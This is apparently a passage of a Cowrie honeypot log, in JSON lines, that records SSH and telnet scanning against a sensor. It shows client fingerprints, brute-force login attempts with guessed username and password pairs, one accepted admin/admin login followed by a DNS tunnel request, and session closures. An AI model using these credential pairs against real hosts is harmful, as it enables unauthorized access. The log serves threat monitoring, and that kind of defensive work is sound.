{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:56.283051Z","src_ip":"91.92.40.10","session":"00aef2157f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:56.285951Z","src_ip":"91.92.40.10","session":"00aef2157f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:57.548854Z","src_ip":"91.92.40.10","session":"00aef2157f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:39:58.711538Z","src_ip":"91.92.40.10","session":"00aef2157f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43138,"dst_ip":"159.203.135.109","dst_port":22,"session":"662f90004848","protocol":"ssh","message":"New connection: 103.82.132.16:43138 (159.203.135.109:22) [session: 662f90004848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:04.221347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:04.225430Z","src_ip":"103.82.132.16","session":"662f90004848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:04.489117Z","src_ip":"103.82.132.16","session":"662f90004848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"040890","message":"login attempt [root/040890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:05.278902Z","src_ip":"103.82.132.16","session":"662f90004848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:06.553527Z","src_ip":"103.82.132.16","session":"662f90004848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48840,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5821643d408","protocol":"telnet","message":"New connection: 107.6.151.170:48840 (159.203.135.109:23) [session: b5821643d408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:12.663783Z"}
{"eventid":"cowrie.session.closed","duration":0.004286289215087891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:12.667916Z","src_ip":"107.6.151.170","session":"b5821643d408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":6746,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eba9fdda6cd","protocol":"ssh","message":"New connection: 176.53.159.196:6746 (10.17.0.5:22) [session: 4eba9fdda6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.017100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.020073Z","src_ip":"176.53.159.196","session":"4eba9fdda6cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.121736Z","src_ip":"176.53.159.196","session":"4eba9fdda6cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.428874Z","src_ip":"176.53.159.196","session":"4eba9fdda6cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.532547Z","session":"4eba9fdda6cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.636272Z","src_ip":"176.53.159.196","session":"4eba9fdda6cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:18.743680Z","src_ip":"176.53.159.196","session":"4eba9fdda6cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.42.231.173","src_port":50936,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a25069acfc7","protocol":"ssh","message":"New connection: 89.42.231.173:50936 (10.17.0.5:22) [session: 8a25069acfc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:20.320812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.0","message":"Remote SSH version: SSH-2.0-OpenSSH_8.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:20.401721Z","src_ip":"89.42.231.173","session":"8a25069acfc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a2a7e3805543a29c522f9a3fa5998efd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","umac-128@openssh.com","hmac-sha2-512"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: a2a7e3805543a29c522f9a3fa5998efd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:20.477613Z","src_ip":"89.42.231.173","session":"8a25069acfc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roreqrpkaii5oph2w","password":"zW3LywA?Rp:E~649u+hk*KQm#[d<SrqP7UX+ZRyE)n'8eg3(/c94tCF\"s","message":"login attempt [roreqrpkaii5oph2w/zW3LywA?Rp:E~649u+hk*KQm#[d<SrqP7UX+ZRyE)n'8eg3(/c94tCF\"s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:20.908459Z","src_ip":"89.42.231.173","session":"8a25069acfc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:21.991536Z","src_ip":"89.42.231.173","session":"8a25069acfc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":53476,"dst_ip":"10.17.0.5","dst_port":22,"session":"08db47eb5108","protocol":"ssh","message":"New connection: 143.20.185.207:53476 (10.17.0.5:22) [session: 08db47eb5108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:29.429222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:29.432103Z","src_ip":"143.20.185.207","session":"08db47eb5108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:29.546176Z","src_ip":"143.20.185.207","session":"08db47eb5108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.91660952568054,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:29.632572Z","src_ip":"107.6.151.170","session":"11cd4e6e309f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#8VCPU16GBAMD","message":"login attempt [root/undefined#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:29.891383Z","src_ip":"143.20.185.207","session":"08db47eb5108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:31.008407Z","src_ip":"143.20.185.207","session":"08db47eb5108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38102,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bed8e8d982e","protocol":"telnet","message":"New connection: 107.6.151.170:38102 (159.203.135.109:23) [session: 0bed8e8d982e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:40:55.022022Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":57492,"dst_ip":"10.17.0.5","dst_port":22,"session":"53ec4c9d5aed","protocol":"ssh","message":"New connection: 77.237.244.154:57492 (10.17.0.5:22) [session: 53ec4c9d5aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:25.027026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:25.031224Z","src_ip":"77.237.244.154","session":"53ec4c9d5aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:25.124818Z","src_ip":"77.237.244.154","session":"53ec4c9d5aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aave123","message":"login attempt [root/aave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:25.408787Z","src_ip":"77.237.244.154","session":"53ec4c9d5aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:26.504623Z","src_ip":"77.237.244.154","session":"53ec4c9d5aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03107571601868,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:27.052997Z","src_ip":"107.6.151.170","session":"0bed8e8d982e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":50002,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e8d6416aa0","protocol":"ssh","message":"New connection: 91.92.40.10:50002 (10.17.0.5:22) [session: 56e8d6416aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:27.252845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:27.812470Z","src_ip":"91.92.40.10","session":"56e8d6416aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:27.815331Z","src_ip":"91.92.40.10","session":"56e8d6416aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:29.201286Z","src_ip":"91.92.40.10","session":"56e8d6416aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:41:30.332871Z","src_ip":"91.92.40.10","session":"56e8d6416aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":43724,"dst_ip":"159.203.135.109","dst_port":22,"session":"165c52bda546","protocol":"ssh","message":"New connection: 176.53.159.196:43724 (159.203.135.109:22) [session: 165c52bda546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:14.286714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:42:14.290899Z","src_ip":"176.53.159.196","session":"165c52bda546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512"